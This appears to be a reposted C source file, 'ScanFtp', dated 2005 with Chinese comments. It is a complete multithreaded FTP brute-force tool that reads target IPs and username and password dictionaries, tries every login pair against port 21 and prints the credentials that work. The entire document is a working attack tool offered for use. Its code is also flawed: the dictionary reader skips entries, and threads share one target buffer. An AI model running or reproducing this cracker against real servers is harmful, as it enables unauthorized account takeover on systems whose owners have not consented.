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| 关键词： nbsp struct printf recvBuffer char return FILEDATA sock NULL 帐号 |
////////////////////////////////////////////////////////// //文件：ScanFtp.cpp //描述：从指定文件读入IP地址和帐号密码，猜测ftp服务器密码 //作者：云舒(http://www.icylife.net) //日期：2005年2月18日 0.1.0版本 //修改 2005年2月22日 0.1.1版本 //修改 2005年2月24日 0.1.2版本 ////////////////////////////////////////////////////////// #include <stdio.h> #include <winsock2.h> #include <windows.h> #pragma comment(lib,"ws2_32.lib") #define PORT 21 #define VERSION 0.1.2 #define LEN sizeof(struct FILEDATA) ///////////////////////////////////////////////////////// //定义全局变量 ///////////////////////////////////////////////////////// struct FILEDATA//存放帐号和密码的链表结构体 { char dataLine[64]; struct FILEDATA *next; }; struct SCANPAR//传递给Scan函数的参数结构体 { struct FILEDATA *userHead;//帐号链表的头地址 struct FILEDATA *passHead;//密码链表的头地址 char ipNow[16];//要扫描的扫描的IP }; int currentThread = 0;//当前活动线程 int maxThread = 0;//最大线程数量 char ipFile[48] = { 0 };//IP列表文件名 char *passFlag = "230"; char *userFlag = "331"; ///////////////////////////////////////////////////////// //定义函数原形 ///////////////////////////////////////////////////////// void GetPar(int , char **);//检查命令行参数 void Help(char *);//输出帮助函数 void WatchThread(void);//检测活动线程是否达到最大 void Wait2Quit(void);//等待所有线程退出函数 int WINAPI Scan(LPVOID);//处理帐号密码字典 void Crack(char * , char * , char *);//破解密码函数 struct FILEDATA *ReadDic2Memory(char *);//将帐号字典密码字典读入内存，存入链表 ////////////////////////////////////////////////////////// //主函数，程序入口 ////////////////////////////////////////////////////////// int main( int argc , char *argv[] ) { DWORD threadID = 1; HANDLE threadHandle = NULL; FILE *fpIP = NULL; WSADATA wsaData; struct SCANPAR scanPar; char fileName[48] = { 0 }; //检查并获取命令行参数 GetPar( argc , argv ); if( WSAStartup(MAKEWORD(2,2),&wsaData) != 0 ) { printf( "载入Winsock失败...\n" ); return -1; } //打开IP列表文件 fpIP = fopen( ipFile , "r" ); if( fpIP == NULL ) { printf( "打开IP列表文件失败...\n" ); return -1; } strcpy( fileName , "ftp_user.txt" ); scanPar.userHead = ReadDic2Memory( fileName );//将帐号读入内存 memset( fileName , 0 , sizeof(fileName) ); strcpy( fileName , "ftp_pass.txt" ); scanPar.passHead = ReadDic2Memory( fileName );//将密码读入内存 while( !feof(fpIP) ) { fscanf( fpIP , "%s" , scanPar.ipNow ); WatchThread(); Sleep(20); //生成新线程 threadHandle = CreateThread( NULL , 0 , (LPTHREAD_START_ROUTINE)Scan , (LPVOID)(&scanPar) , 0 , &threadID ); if( threadHandle != NULL ) { CloseHandle(threadHandle); currentThread ++; threadID ++; } } Wait2Quit(); fclose(fpIP); WSACleanup(); return 0; } int WINAPI Scan(LPVOID par) { struct SCANPAR *scan_Par = (struct SCANPAR *)par; struct FILEDATA *pUser = scan_Par->userHead; struct FILEDATA *pPass = scan_Par->passHead; while( pUser != NULL ) { if( pPass == NULL ) { pPass = scan_Par->passHead; } while( pPass != NULL ) { printf("正在%s上测试%s的密码%s......\n" , scan_Par->ipNow , pUser->dataLine , pPass->dataLine ); Crack( scan_Par->ipNow , pUser->dataLine , pPass->dataLine ); pPass = pPass->next; } pUser = pUser->next; } currentThread --; return 0; } void Crack( char *ip , char *user , char *pass ) { SOCKET sock; SOCKADDR_IN sin; int flag; int timeOut; char recvBuffer[1024] = { 0 }; sock = socket( AF_INET , SOCK_STREAM , 0 ); if( sock == INVALID_SOCKET ) { printf( "连接%s建立socket失败\n" ,ip); return; } //设置超时时间 timeOut = 2000; if( setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeOut, sizeof(timeOut)) == SOCKET_ERROR ) { printf("连接%s设置超时失败\n" , ip ); return; } memset( &sin , 0 , sizeof(sin) ); sin.sin_family = AF_INET; sin.sin_port = htons(PORT); sin.sin_addr.s_addr = inet_addr(ip); flag = connect( sock , (struct sockaddr *)&sin , sizeof(sin) ); if( flag == SOCKET_ERROR ) { printf( "连接服务器%s失败\n" , ip ); closesocket(sock); return; } flag = recv( sock , recvBuffer , sizeof(recvBuffer) , 0 ); if( flag == SOCKET_ERROR ) { printf( "%s接受banner数据失败\n" , ip); closesocket(sock); return; } char userCmd[48] = { 0 }; wsprintf( userCmd , "USER %s\r\n" , user ); flag = send( sock , userCmd , strlen(userCmd) , 0 ); if( flag == SOCKET_ERROR ) { printf( "%s发送帐号失败\n" , ip ); closesocket(sock); return; } memset( recvBuffer , 0 ,sizeof(recvBuffer) ); flag = recv( sock , recvBuffer , sizeof(recvBuffer) , 0 ); if( flag == SOCKET_ERROR ) { printf( "%s接受user数据失败\n" , ip ); closesocket(sock); return; } if( strlen(recvBuffer) == 0 ) { printf( "%s接受user数据失败\n" , ip ); closesocket(sock); return; } if( strstr(recvBuffer , userFlag) == NULL ) { printf( "%s用户名没能通过\n" , ip ); closesocket(sock); return; } char passCmd[48] = { 0 }; wsprintf( passCmd , "PASS %s\r\n" , pass ); flag = send( sock , passCmd , strlen(passCmd) , 0 ); if( flag == SOCKET_ERROR ) { printf( "%s发送密码失败\n" , ip ); closesocket(sock); return; } memset( recvBuffer , 0 , sizeof(recvBuffer) ); flag = recv( sock , recvBuffer , sizeof(recvBuffer) , 0 ); if( flag == SOCKET_ERROR ) { printf( "%s接受pass数据失败\n" , ip ); closesocket(sock); return; } if( strstr(recvBuffer , passFlag) ) { printf( "发现密码：%s\t%s\t%s\n" , ip , user , pass ); } closesocket(sock); return; } struct FILEDATA *ReadDic2Memory( char *fileName ) { struct FILEDATA *p1 = NULL; struct FILEDATA *p2 = NULL; struct FILEDATA *head = NULL; FILE *fp = NULL; int num = 0;//节点数目 p1 = p2 = (struct FILEDATA *)malloc(LEN);//开辟新内存单元 if( p1 == NULL ) { printf( "开辟新内存单元失败...\n" ); exit(-1); } fp = fopen( fileName , "r" );//打开文件句柄 if( fp == NULL ) { printf( "打开文件%s失败...\n" , fileName ); exit(-1); } while( !feof(fp) ) { num = num + 1; fscanf( fp , "%s" , p1->dataLine ); if( num == 1 )//如果是第一个节点 { head = p1; } else { p2->next = p1; } p2 = p1; p1 = (struct FILEDATA *)malloc(LEN); fscanf( fp , "%s" , p1->dataLine ); } p2->next = NULL; return head; } void GetPar( int argc , char *argv[] ) { //检查命令行参数 if( argc != 3 ) { Help( argv[0] ); return; } if( strlen(argv[1]) < 48 ) { strcpy( ipFile , argv[1] ); } else { printf( "IP列表文件名太长...\n" ); return; } //从命令行参数获取最大线程数 maxThread = atoi( argv[2] ); if( maxThread <= 0 ) { printf( "最大线程数错误...\n" ); return; } } void WatchThread() { while(1) { if( currentThread >= maxThread ) { Sleep(10); } else { break; } } } void Wait2Quit() { while(1) { if( currentThread > 0 ) { Sleep(10); } else { break; } } } void Help(char *program) { printf( "ScanFtp Version 0.1.2,Code By 云舒\n" ); printf( "Usage:%s\tIP.txt\tMaxThread\n" , program ); exit(-1); } |
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